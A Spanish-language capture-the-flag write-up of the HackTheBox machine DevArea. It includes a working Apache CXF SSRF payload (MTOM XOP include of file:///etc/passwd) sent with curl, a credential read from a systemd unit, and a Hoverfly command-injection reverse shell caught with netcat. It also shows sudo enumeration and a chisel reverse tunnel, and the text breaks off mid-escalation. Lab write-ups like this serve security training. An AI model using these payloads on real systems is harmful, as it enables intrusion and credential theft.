sckull :: Walkthrough, Writeup, TryHackMe, HackTheBox, CTF on sckull

HackTheBox - DevArea

sckull — Sat, 04 Jul 2026 00:00:00 +0000

DevArea expone el servicio FTP, donde se encontro un archivo JAR para un servicio web SOAP corriendo en Apache CXF. Este ultimo es vulnerable a SSRF, lo que permitio realizar la lectura de credenciales en un servicio de Linux. Finalmente se escalaron privilegios a traves de un script con sudo y permisos de escritura sobre bash.

Nombre	DevArea
OS	Linux
Puntos	30
Dificultad	Medium
Fecha de Salida	2026-03-28
IP	10.129.14.70
Maker	EmSec
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [78, 76, 363, 480, 852, 398, 235, 47, 14, 32], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Recon

nmap

nmap muestra multiples puertos abiertos: http (80, 8080, 8500, 8888), ssh (22) y ftp (21).

# Nmap 7.95 scan initiated Fri Apr  3 23:35:39 2026 as: /usr/lib/nmap/nmap --privileged -p21,22,80,8080,8500,8888 -sV -sC -oN nmap_scan 10.129.14.70
Nmap scan report for 10.129.14.70
Host is up (0.27s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.43
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_  256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://devarea.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
8080/tcp open  http    Jetty 9.4.27.v20200227
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.27.v20200227)
8500/tcp open  http    Golang net/http server
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sat, 04 Apr 2026 05:36:06 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sat, 04 Apr 2026 05:35:47 GMT
|     Content-Length: 64
|_    This is a proxy server. Does not respond to non-proxy requests.
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
8888/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Hoverfly Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8500-TCP:V=7.95%I=7%D=4/3%Time=69D0A332%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(GetRequest,E9,"HTTP/1\.0\x20500\x20Internal\x20Server\x20E
SF:rror\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type
SF:-Options:\x20nosniff\r\nDate:\x20Sat,\x2004\x20Apr\x202026\x2005:35:47\
SF:x20GMT\r\nContent-Length:\x2064\r\n\r\nThis\x20is\x20a\x20proxy\x20serv
SF:er\.\x20Does\x20not\x20respond\x20to\x20non-proxy\x20requests\.\n")%r(H
SF:TTPOptions,E9,"HTTP/1\.0\x20500\x20Internal\x20Server\x20Error\r\nConte
SF:nt-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Options:\x20
SF:nosniff\r\nDate:\x20Sat,\x2004\x20Apr\x202026\x2005:35:47\x20GMT\r\nCon
SF:tent-Length:\x2064\r\n\r\nThis\x20is\x20a\x20proxy\x20server\.\x20Does\
SF:x20not\x20respond\x20to\x20non-proxy\x20requests\.\n")%r(RTSPRequest,67
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x2
SF:0charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r
SF:(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConten
SF:t-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n
SF:400\x20Bad\x20Request")%r(FourOhFourRequest,E9,"HTTP/1\.0\x20500\x20Int
SF:ernal\x20Server\x20Error\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Sat,\x2004\x20Apr\
SF:x202026\x2005:36:06\x20GMT\r\nContent-Length:\x2064\r\n\r\nThis\x20is\x
SF:20a\x20proxy\x20server\.\x20Does\x20not\x20respond\x20to\x20non-proxy\x
SF:20requests\.\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r
SF:\n\r\n400\x20Bad\x20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnecti
SF:on:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r
SF:\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: Host: _; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr  3 23:36:25 2026 -- 1 IP address (1 host up) scanned in 46.13 seconds

Agregamos a el dominio devarea.htb a /etc/hosts.

FTP - Puerto 21

En este puerto corre vsFTPd 3.0.5. Es posible acceder como usuario anonimo donde encontramos el archivo employee-service.jar.

❯ ftp 10.129.14.70
Connected to 10.129.14.70.
220 (vsFTPd 3.0.5)
Name (10.129.14.70:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||49586|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||47698|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp       6445030 Sep 22  2025 employee-service.jar
226 Directory send OK.
ftp> get employee-service.jar
local: employee-service.jar remote: employee-service.jar
229 Entering Extended Passive Mode (|||45638|)
150 Opening BINARY mode data connection for employee-service.jar (6445030 bytes).
100% |*******************************************************************************************************************************************|  6293 KiB  477.34 KiB/s    00:00 ETA
226 Transfer complete.
6445030 bytes received in 00:13 (467.64 KiB/s)
ftp>

HTTP

Puerto 80

Los headers muestran un servidor Apache.

❯ curl -sI devarea.htb
HTTP/1.1 200 OK
Date: Sat, 04 Apr 2026 05:39:49 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Sun, 21 Sep 2025 20:52:00 GMT
ETag: "56c3-63f55dfd03c00"
Accept-Ranges: bytes
Content-Length: 22211
Vary: Accept-Encoding
Content-Type: text/html

❯

El sitio es estatico y esta dirigido a empleos para desarolladores.

Puerto 8080

En este puerto se indica el uso de Jetty version 9.4.27.v20200227.

Puerto 8888

Encontramos que corre HoverFly en el puerto 8888.

La API no indica la version.

❯ curl -sI http://devarea.htb:8888/api/v2/hoverfly/version
HTTP/1.1 404 Not Found
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Sat, 04 Apr 2026 09:25:34 GMT
Content-Length: 19

❯

Para Hoverfly existen varias vulnerabilidades una de estas marcada como Critica en la version 1.11.3, tiene la vulnerabilidad Command Injection a traves de la API: CVE-2025-54123.

SOAP Web Service

jadx permite abrir el archivo .jar para su analisis. Observamos que es un archivo que ofrece un servicio web SOAP, JAX-WS. Se define la interfaz EmployeeService y la logica a travez de EmployeeServiceImpl. Se ofrece este bajo el puerto 8080 y el “endpoint” /employeeservice?wsdl.

La logica muestra la unica funcion submitReport() donde se verifica si el reporte es confidencial.

package htb.devarea;

/* loaded from: employee-service.jar:htb/devarea/EmployeeServiceImpl.class */
public class EmployeeServiceImpl implements EmployeeService {
    @Override // htb.devarea.EmployeeService
    public String submitReport(Report report) {
        String str;
        if (report.isConfidential()) {
            str = "Report marked confidential. Thank you, " + report.getEmployeeName();
        } else {
            str = "Report received from " + report.getEmployeeName();
        }
        String greeting = str;
        return greeting + ". Department: " + report.getDepartment() + ". Content: " + report.getContent();
    }
}

Para la clase Report se definen getters y setters, ademas de la sobre escritura de toString() donde devuelve informacion del reporte.

package htb.devarea;

/* loaded from: employee-service.jar:htb/devarea/Report.class */
public class Report {
    private String employeeName;
    private String department;
    private String content;
    private boolean confidential;

    public String getEmployeeName() {
        return this.employeeName;
    }

    public void setEmployeeName(String employeeName) {
        this.employeeName = employeeName;
    }

    public String getDepartment() {
        return this.department;
    }

    public void setDepartment(String department) {
        this.department = department;
    }

    public String getContent() {
        return this.content;
    }

    public void setContent(String content) {
        this.content = content;
    }

    public boolean isConfidential() {
        return this.confidential;
    }

    public void setConfidential(boolean confidential) {
        this.confidential = confidential;
    }

    public String toString() {
        return "Report{employeeName='" + this.employeeName + "', department='" + this.department + "', content='" + this.content + "', confidential=" + this.confidential + '}';
    }
}

Tambien, en el archivo pom.xml se indica Apache CXF en su version 3.2.14, asi tambien las dependencias de este: Jax-WS, Aegis y Jetty. Para esta version de apache existe la vulnerabilidad SSRF CVE-2022-46364 (CVE-2022-46364: Apache CXF SSRF Vulnerability).

<properties>
        <cxf.version>3.2.14</cxf.version>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

    <dependencies>
        <!-- Apache CXF dependencies -->
        <dependency>
            <groupId>org.apache.cxf</groupId>
            <artifactId>cxf-rt-frontend-jaxws</artifactId>
            <version>${cxf.version}</version>
        </dependency>
        <dependency>
            <groupId>org.apache.cxf</groupId>
            <artifactId>cxf-rt-databinding-aegis</artifactId>
            <version>${cxf.version}</version>
        </dependency>
        <dependency>
            <groupId>org.apache.cxf</groupId>
            <artifactId>cxf-rt-transports-http-jetty</artifactId>
            <version>${cxf.version}</version>
        </dependency>
        <dependency>
            <groupId>org.apache.cxf</groupId>
            <artifactId>cxf-rt-bindings-soap</artifactId>
            <version>${cxf.version}</version>
        </dependency>

        <!-- ... cut ... -->
        
    </dependencies>

Enviamos un reporte a traves de Burpsuite. Muestra una respuesta esperada, basada en EmployeeServiceImpl.

Apache CXF - SSRF

A traves del PoC intentamos incluir el archivo /etc/passwd en una solicitud MTOM.

❯ cat payload.txt
--boundary_12345
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-ID: <root.xml@devarea.htb>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
    <soapenv:Header/>
    <soapenv:Body>
        <dev:submitReport>
            <arg0>
                <employeeName>START <inc:Include href="file:///etc/passwd" xmlns:inc="http://www.w3.org/2004/08/xop/include"/> END.</employeeName>
                <department>Security</department>
                <content>Content.</content>
                <confidential>true</confidential>
            </arg0>
        </dev:submitReport>
    </soapenv:Body>
</soapenv:Envelope>
--boundary_12345--
❯

Al enviar la solicitud observamos en base64 el archivo.

❯ curl -X POST http://devarea.htb:8080/employeeservice \
-H "Content-Type: multipart/related; type=\"application/xop+xml\"; start=\"<root.xml@devarea.htb>\"; start-info=\"text/xml\"; boundary=\"boundary_12345\"" \
--data-binary @payload.txt
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:submitReportResponse xmlns:ns2="http://devarea.htb/"><return>Report marked confidential. Thank you, cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDo5OTg6OTk4OnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50Oi86L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4Ojk5Nzo5OTc6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbjovOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2VidXM6eDoxMDE6MTAyOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6OTkyOjk5MjpzeXN0ZW1kIFJlc29sdmVyOi86L3Vzci9zYmluL25vbG9naW4KcG9sbGluYXRlOng6MTAyOjE6Oi92YXIvY2FjaGUvcG9sbGluYXRlOi9iaW4vZmFsc2UKcG9sa2l0ZDp4Ojk5MTo5OTE6VXNlciBmb3IgcG9sa2l0ZDovOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp1dWlkZDp4OjEwNDoxMDU6Oi9ydW4vdXVpZGQ6L3Vzci9zYmluL25vbG9naW4KdGNwZHVtcDp4OjEwNToxMDc6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp0c3M6eDoxMDY6MTA4OlRQTSBzb2Z0d2FyZSBzdGFjaywsLDovdmFyL2xpYi90cG06L2Jpbi9mYWxzZQpsYW5kc2NhcGU6eDoxMDc6MTA5OjovdmFyL2xpYi9sYW5kc2NhcGU6L3Vzci9zYmluL25vbG9naW4KZnd1cGQtcmVmcmVzaDp4Ojk4OTo5ODk6RmlybXdhcmUgdXBkYXRlIGRhZW1vbjovdmFyL2xpYi9md3VwZDovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6eDoxMDg6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjEwOTo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCmRldl9yeWFuOng6MTAwMToxMDAxOjovaG9tZS9kZXZfcnlhbjovYmluL2Jhc2gKZnRwOng6MTEwOjExMTpmdHAgZGFlbW9uLCwsOi9zcnYvZnRwOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3dhdGNoOng6OTg0Ojk4NDo6L29wdC9zeXN3YXRjaDovdXNyL3NiaW4vbm9sb2dpbgpwb3N0Zml4Ong6MTExOjExMjo6L3Zhci9zcG9vbC9wb3N0Zml4Oi91c3Ivc2Jpbi9ub2xvZ2luCl9sYXVyZWw6eDo5OTk6OTg3OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxzZQpkaGNwY2Q6eDoxMDA6NjU1MzQ6REhDUCBDbGllbnQgRGFlbW9uLCwsOi91c3IvbGliL2RoY3BjZDovYmluL2ZhbHNlCg==. Department: Security. Content: Content.</return></ns2:submitReportResponse></soap:Body></soap:Envelope>
❯

Tras decodificarlo observamos el contenido.

❯ echo cm9vdDp4OjA6MDp... cut ...lCg== | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
ftp:x:110:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
_laurel:x:999:987::/var/log/laurel:/bin/false
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
❯

El archivo /proc/self/environ muestra al usuario dev_ryan tambien el servicio employee-service.service.

❯ curl -siX POST http://devarea.htb:8080/employeeservice \
-H "Content-Type: multipart/related; type=\"application/xop+xml\"; start=\"<root.xml@devarea.htb>\"; start-info=\"text/xml\"; boundary=\"boundary_12345\"" \
--data-binary @payload.txt | \
sed -n 's/.*Thank you, \(.*\)\. Department.*/\1/p' | base64 -d; echo
LANG=en_US.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/binUSER=dev_ryanLOGNAME=dev_ryanHOME=/home/dev_ryanSHELL=/bin/bashINVOCATION_ID=7003eb7cd20d416b8ffc6bf7d94c0022JOURNAL_STREAM=8:18966SYSTEMD_EXEC_PID=1456MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/employee-service.service/memory.pressureMEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
❯

El contenido del servicio /etc/systemd/system/employee-service.service indica el comando a ejecutar con el archivo jar. Se define como inaccesible el archivo user.txt.

[Unit]
Description=Employee Service (Java CXF + Jetty)
After=network.target

[Service]
User=dev_ryan
WorkingDirectory=/home/dev_ryan
InaccessiblePaths=/home/dev_ryan/user.txt
ProtectHome=false
ExecStart=/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar /opt/EmployeeService/target/employee-service.jar
SuccessExitStatus=143
Restart=on-failure
RestartSec=5
StandardOutput=journal
StandardError=journal
Environment=JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64

[Install]
WantedBy=multi-user.target

User - dev_ryan

Hoverfly- CVE-2025-54123

Basados en el nombre logramos obtener el servicio de hoverfly bajo el nombre /etc/systemd/system/hoverfly.service, en este se indican un par de credenciales.

[Unit]
Description=HoverFly service
After=network.target

[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0

Restart=on-failure
RestartSec=5
StartLimitIntervalSec=60
StartLimitBurst=5
LimitNOFILE=65536
StandardOutput=journal
StandardError=journal

[Install]
WantedBy=multi-user.target

Las credenciales permiten el acceso al dashboard.

Se menciono una vulnerabilidad para Hoverfly, esta se encuentra en /api/v2/hoverfly/middleware, tras replicar la explotacion con el PoC observamos la ejecucion de whoami.

Ejecutamos una shell inversa logrando acceso como dev_ryan y la flag user.txt.

❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.43] from devarea.htb [10.129.14.70] 39066
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
dev_ryan
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)
/opt/HoverFly
$ cd
$ cat user.txt
63dd9119852cdf5de703925b07023bce
$

User - root

dev_ryan puede ejecutar el script syswatch.sh como root, sin embargo no tiene permisos de lectura sobre este.

$ sudo -l -l
Matching Defaults entries for dev_ryan on devarea:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User dev_ryan may run the following commands on devarea:

Sudoers entry: /etc/sudoers
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/opt/syswatch/syswatch.sh
	!/opt/syswatch/syswatch.sh web-stop
	!/opt/syswatch/syswatch.sh web-restart
$ ls -lah /opt/syswatch/syswatch.sh
ls: cannot access '/opt/syswatch/syswatch.sh': Permission denied
$

La ejecucion indica multiples opciones.

$ sudo /opt/syswatch/syswatch.sh
SysWatch 1.0.0
Usage: /opt/syswatch/syswatch.sh <command> [args]
Commands:
  web                 Start web GUI
  web-stop            Stop web GUI
  web-restart         Restart web GUI
  web-status          Show web GUI status
  plugin <name> [args] Execute plugin
  plugins             List available plugins
  logs <file>         View log file
  logs --list         List available log files
  --version           Show version
  --help|-h|help      Show this help
$

Tambien, encontramos el puerto 7777 que parece estar relacionado al script.

$ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:7777          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::8080                 :::*                    LISTEN      1456/java           
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::8500                 :::*                    LISTEN      1457/hoverfly       
tcp6       0      0 ::1:25                  :::*                    LISTEN      -                   
tcp6       0      0 :::8888                 :::*                    LISTEN      1457/hoverfly       
$ curl -s 127.0.0.1:7777/login |head
<!DOCTYPE html>
<html>
<head>
    <title>Login - SysWatch</title>
    <link rel="stylesheet" href="/static/style.css">
</head>
<body>
<div class="login-container">
    <div class="login-card">
        <div class="login-title">Sign in to SysWatch</div>
$

Reverse Tunnel

Enviamos el puerto 7777 a nuestra maquina a traves de chisel.

# local - kali
❯ ./chisel_linux server --reverse --port 7070
2026/04/04 03:45:13 server: Reverse tunnelling enabled
2026/04/04 03:45:13 server: Fingerprint NVMZJdMQ2yhC4GEiQzMWQS0W+TrUN8LByJDDQub88+g=
2026/04/04 03:45:13 server: Listening on http://0.0.0.0:7070
2026/04/04 03:46:21 server: session#1: tun: proxy#R:7777=>127.0.0.1:7777: Listening

# devarea - htb
$ ./chisel_linux client 10.10.14.43:7070 R:7777:127.0.0.1:7777
2026/04/04 09:46:18 client: Connecting to ws://10.10.14.43:7070
2026/04/04 09:46:21 client: Connected (Latency 274.891991ms)

SysWatch

El puerto muestra un login para Syswatch 1.0.0.

Encontramos multiples archivos relacionados a esta aplicacion.

$ find / -iname *syswatch* 2>/dev/null
/home/dev_ryan/syswatch-v1.zip
/sys/fs/cgroup/system.slice/syswatch-web.service
/etc/syswatch.env
/etc/systemd/system/syswatch-monitor.timer
/etc/systemd/system/syswatch-monitor.service
/etc/systemd/system/multi-user.target.wants/syswatch-web.service
/etc/systemd/system/.syswatch-web.service.swp
/etc/systemd/system/timers.target.wants/syswatch-monitor.timer
/etc/systemd/system/syswatch-web.service
/var/mail/syswatch
/usr/local/bin/syswatch
/opt/syswatch
/run/systemd/units/invocation:syswatch-web.service
$

Entre los archivos, lo que parece ser el codigo fuente de la aplicacion incluyendo scripts.

$ unzip -l /home/dev_ryan/syswatch-v1.zip
Archive:  /home/dev_ryan/syswatch-v1.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2025-12-14 13:37   syswatch/
        0  2025-12-12 21:37   syswatch/logs/
        0  2025-12-12 21:37   syswatch/logs/disk.log
        0  2025-12-12 21:37   syswatch/logs/service.log
        0  2025-12-12 21:37   syswatch/logs/log-alerts.log
        0  2025-12-12 21:37   syswatch/logs/cpu-mem.log
        0  2025-12-12 21:37   syswatch/logs/network.log
        0  2025-12-13 16:00   syswatch/syswatch_gui/
       13  2025-12-10 02:37   syswatch/syswatch_gui/requirements.txt
        0  2025-12-11 02:37   syswatch/syswatch_gui/templates/
     2739  2025-12-11 20:25   syswatch/syswatch_gui/templates/service_status.html
     1466  2025-12-12 14:44   syswatch/syswatch_gui/templates/login.html
     2439  2025-12-11 20:25   syswatch/syswatch_gui/templates/index.html
     2211  2025-12-11 20:42   syswatch/syswatch_gui/templates/docs.html
     7675  2025-12-13 19:27   syswatch/syswatch_gui/app.py
    16384  2025-12-12 21:37   syswatch/syswatch_gui/syswatch.db
        0  2025-12-11 02:37   syswatch/syswatch_gui/static/
     5350  2025-12-11 20:39   syswatch/syswatch_gui/static/style.css
      265  2025-12-10 20:47   syswatch/monitor.sh
        0  2025-12-10 14:33   syswatch/plugins/
     1002  2025-12-12 15:03   syswatch/plugins/disk_monitor.sh
     1006  2025-12-10 21:05   syswatch/plugins/network_monitor.sh
      752  2025-12-10 21:04   syswatch/plugins/cpu_mem_monitor.sh
     1267  2025-12-10 21:05   syswatch/plugins/log_monitor.sh
      865  2025-12-10 21:04   syswatch/plugins/service_monitor.sh
      563  2025-12-12 18:22   syswatch/plugins/common.sh
     6103  2025-12-14 13:37   syswatch/syswatch.sh
        0  2025-12-12 21:37   syswatch/backup/
        0  2025-12-10 02:37   syswatch/config/
      619  2025-12-12 15:04   syswatch/config/syswatch.conf
     3407  2025-12-13 16:00   syswatch/setup.sh
---------                     -------
    54126                     31 files
$

Tambien encontramos el servicio y credenciales.

